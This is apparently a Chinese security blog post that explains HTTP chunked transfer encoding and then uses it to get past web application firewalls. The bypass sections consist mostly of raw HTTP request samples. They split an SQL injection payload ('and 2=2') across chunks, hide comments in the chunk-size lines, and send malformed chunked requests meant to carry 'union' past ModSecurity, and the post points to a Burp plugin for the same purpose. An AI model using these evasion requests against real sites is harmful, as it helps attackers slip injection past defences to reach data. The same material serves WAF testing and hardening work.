HTTP 分块传输

HTTP 分块传输

简介

分块传输编码(Chunked transfer encoding)是指超文本传输协议(HTTP)中的一种数据传输机制,允许 HTTP 应用服务器发送给客户端应用(通常是浏览器)的数据可以分成多个部分,分块传输编码只在 HTTP协议1.1版本(HTTP/1.1)中提供。

一般情况HTTP请求包的Header包含Content-Length域来指明报文体的长度。有时候服务生成HTTP回应是无法确定消息大小的,比如大文件的下载,或者后台需要复杂的逻辑才能全部处理页面的请求,这时用需要实时生成消息长度,服务器一般使用chunked编码。

在进行Chunked编码传输时,在回复消息的Headers有Transfer-Encoding域值为chunked,表示将用chunked编码传输内容。

这在http协议中也是个常见的字段,用于http传送过程的分块技术,原因是http服务器响应的报文长度经常是不可预测的,使用Content-length的实体搜捕并不是总是管用。

分块技术的意思是说,实体被分成许多的块,也就是应用层的数据,TCP在传送的过程中,不对它们做任何的解释,而是把应用层产生数据全部理解成二进制流,然后按照MSS的长度切成一分一分的,一股脑塞到tcp协议栈里面去,而具体这些二进制的数据如何做解释,需要应用层来完成。

基础

分块传输的 POST 数据包需添加 Header

1
Transfer-Encoding: Chunked

请求体内容:

1
2
3
4
5
6
7
2 # 表示下面数据的个数,可以在后面添加分号作为注释
id # 参数,id是两个字符,所以上面一行是2
2 # 同上
=1 # 加上前面的 id,结果 POST 的数据是 id=1
0 # 分块传输用 0 和两个换行作为结束
# 换行
# 换行

Bypass WAF

添加注释

一些 WAF 已经对 Transfer-Encoding 的分块传输做了处理,可以把分块组合成完整的 HTTP 数据包,这时直接使用常规的分块传输方式进行绕过会被 WAF 识别。

分块传输可以在长度标识处加分号作为注释,如:

1
9;kdsafsa

原数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1 and
3
2=2
0
(两个换行)

加入注释的数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1;testsdasdsad
d
9;test
&a=1 and
3;test44444
2=2
0
(两个换行)

Bypass ModSecurity

ModSecurity 是加载在中间件上的插件,可以直接获取到完整的 HTTP 数据包然后匹配危险关键字,需要传畸形的数据包绕过。例如:

1
2
3
4
5
6
7
8
POST /sql.php?id=2%20union HTTP/1.1
......
Transfer-Encoding: chunked

1
aa
0
(两个换行)
1
2
3
4
5
6
7
8
9
10
11
12
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 16

3
123
1
0
(两个换行)

工具

Github -Burp 插件

作者

lll

发布于

2020-06-19

更新于

2022-09-19

许可协议